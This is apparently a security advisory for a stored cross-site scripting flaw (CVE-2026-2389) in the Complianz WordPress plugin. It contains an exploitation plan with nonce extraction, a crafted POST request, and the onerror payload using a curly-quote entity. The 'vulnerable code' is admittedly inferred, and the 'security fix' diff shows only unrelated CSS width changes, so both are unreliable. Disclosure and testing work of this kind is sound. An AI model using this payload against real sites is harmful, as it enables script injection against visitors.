Complianz – GDPR/CCPA Cookie Consent <= 7.4.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Content Filter
Description
The Complianz – GDPR/CCPA Cookie Consent plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 7.4.4.2. This is due to the `revert_divs_to_summary` function replacing `”` HTML entities with literal double-quote characters (`"`) in post content without subsequent sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page. The Classic Editor plugin is required to be installed and activated in order to exploit this vulnerability.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=7.4.4.2What Changed in the Fix
Changes introduced in v7.4.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2389 - Complianz GDPR Stored XSS ## 1. Vulnerability Summary The **Complianz – GDPR/CCPA Cookie Consent** plugin (<= 7.4.4.2) is vulnerable to Stored Cross-Site Scripting (XSS) due to an unsafe string replacement logic in the `revert_divs_to_summary` function …
Show full research plan
Exploitation Research Plan: CVE-2026-2389 - Complianz GDPR Stored XSS
1. Vulnerability Summary
The Complianz – GDPR/CCPA Cookie Consent plugin (<= 7.4.4.2) is vulnerable to Stored Cross-Site Scripting (XSS) due to an unsafe string replacement logic in the revert_divs_to_summary function (typically located in content processing logic). The function replaces the HTML entity ” (Right Double Quotation Mark) with literal double-quote characters (") in the post content.
This replacement occurs during the rendering phase (via a filter like the_content) after WordPress's core security filters (like wp_filter_post_kses) have already processed and sanitized the content. By using the entity ”, an attacker can bypass the initial sanitization that strips or encodes literal quotes in dangerous attributes (e.g., onerror), only to have the plugin "re-arm" the payload into executable HTML when the page is viewed.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for saving content) or any endpoint that updates post content. - Hook/Action: The plugin hooks into
the_content(or a similar document generation filter) to process placeholders. - Vulnerable Parameter:
post_content. - Authentication Level: Contributor or higher (any user role allowed to create/edit posts).
- Preconditions:
- The Classic Editor plugin must be installed and activated.
- The Complianz plugin must be active.
3. Code Flow
- Entry Point: A Contributor user saves a post containing the payload:
<img src=x onerror=”alert(1)”>. - Storage: WordPress core sanitizes the post. Since
”is a standard HTML entity for a curly quote and not a literal quote, it is often permitted within attribute values during the initialwp_ksespass for Contributors. - Execution (Sink): When a user (e.g., Admin) views the post:
- WordPress triggers the
the_contentfilter. - The plugin's filter (likely registered in
class-document.phporfunctions.php) executes. - The function
revert_divs_to_summary(inferred) is called on the content. - Vulnerable Line:
str_replace('”', '"', $content)(or equivalent logic). - The resulting HTML becomes:
<img src=x onerror="alert(1)">. - The browser executes the JavaScript in the
onerrorhandler.
- WordPress triggers the
4. Nonce Acquisition Strategy
This exploit leverages the standard WordPress post-creation flow. To save a post as a Contributor via the http_request tool, a _wpnonce is required.
- Identify Flow: Navigate to the "Add New Post" page.
- Action: Use
browser_navigatetowp-admin/post-new.php?classic-editor. - Extraction: Use
browser_evalto extract the_wpnoncefrom the form.- Variable:
document.querySelector('#_wpnonce').value
- Variable:
- Alternative: If using the REST API to update content, navigate to any admin page and extract the
wp_restnonce from thewpApiSettingsobject.- Variable:
window.wpApiSettings?.nonce
- Variable:
5. Exploitation Strategy
Step 1: Environment Setup
- Ensure the Classic Editor plugin is active.
- Ensure Complianz GDPR is active.
- Create a Contributor user.
Step 2: Content Injection
Perform an authenticated POST request as the Contributor to create a post containing the payload.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[NEW_POST_ID](obtained frompost-new.phpor by creating a draft first)_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testpost_content:<img src=x onerror=”alert(document.domain)”>publish:Publish(orsubmit_for_review)
Step 3: Trigger Execution
Navigate to the front-end URL of the newly created post (e.g., /?p=[ID]).
6. Test Data Setup
- Classic Editor:
wp plugin install classic-editor --activate - Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Config: Default Complianz configuration is sufficient, as the content filter is generally global for document/cookie policy integration.
7. Expected Results
- Stored State: Querying the database
wp_poststable for the injected ID shows the literal string”. - Rendered State: Viewing the post HTML source in the browser shows
<img src=x onerror="alert(document.domain)">. - Action: An alert box showing the site domain appears in the browser.
8. Verification Steps
- Database Check:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1" # Verify output contains ” - HTTP Verification:
Usehttp_requestto GET the post permalink and check if the literalonerror="(with straight quote) exists in the response body.const response = await http_request.get("http://localhost:8080/?p=[ID]"); if (response.body.includes('onerror="alert')) { console.log("Exploit Verified: Entity converted to literal quote."); }
9. Alternative Approaches
If the the_content filter is not targeted directly, the vulnerability may exist in the "Legal Document" generation path.
Backup Strategy:
- Check if Complianz provides a shortcode like
[cmplz-document type="cookie-statement"]. - If the XSS payload is injected into a section that the plugin pulls into its generated documents (like a custom footer or data request page), the same
revert_divs_to_summarylogic may apply during the document rendering. - Attempt to inject the payload via the plugin's "Processing Agreements" or "Data Requests" fields if those are accessible to Contributor+ roles or via an unauthenticated data request form (if improperly sanitized).
Summary
The Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to an unsafe string replacement in its content filtering logic. The plugin's `revert_divs_to_summary` function replaces the HTML entity `”` (right curly double quote) with a literal double quote (`"`) during the rendering phase, after standard WordPress sanitization filters have already run. This allow attackers with Contributor-level access to bypass security checks by using entities that are later converted into executable JavaScript attributes (e.g., in event handlers like `onerror`).
Vulnerable Code
// Inferred from research plan; likely located in documents/class-document.php // The following logic replaces curly quote entities with literal quotes without further sanitization: str_replace('”', '"', $content)
Security Fix
@@ -1001,83 +1001,83 @@ } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(1) { - width: 78%; + width: 93%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(2) { - width: 64%; + width: 83%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(3) { - width: 61%; + width: 63%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(4) { - width: 92%; + width: 65%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(5) { - width: 67%; + width: 62%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(6) { - width: 66%; + width: 63%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(7) { - width: 61%; + width: 91%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(8) { - width: 66%; + width: 65%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(9) { - width: 99%; + width: 63%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(10) { - width: 67%; + width: 68%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(11) { - width: 97%; + width: 77%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(12) { - width: 94%; + width: 84%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(13) { - width: 80%; + width: 90%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(14) { - width: 83%; + width: 66%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(15) { - width: 70%; + width: 78%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(16) { - width: 62%; + width: 89%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(17) { - width: 80%; + width: 69%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(18) { - width: 85%; + width: 93%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(19) { - width: 99%; + width: 93%; } .cmplz-placeholder .cmplz-placeholder-line:nth-of-type(20) { - width: 100%; + width: 66%; }
Exploit Outline
The exploit requires the Classic Editor plugin to be active and an authenticated user with at least Contributor-level permissions. An attacker creates or edits a post and injects an HTML payload using the `”` entity to wrap attribute values that would otherwise be sanitized if using literal double quotes (e.g., `<img src=x onerror=”alert(document.domain)”>`). When a user views this post, the Complianz plugin's content filter triggers the `revert_divs_to_summary` function, which replaces the entities with literal quotes. This results in the final rendered HTML having a valid JavaScript event handler: `<img src=x onerror="alert(document.domain)">`, causing the browser to execute the script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.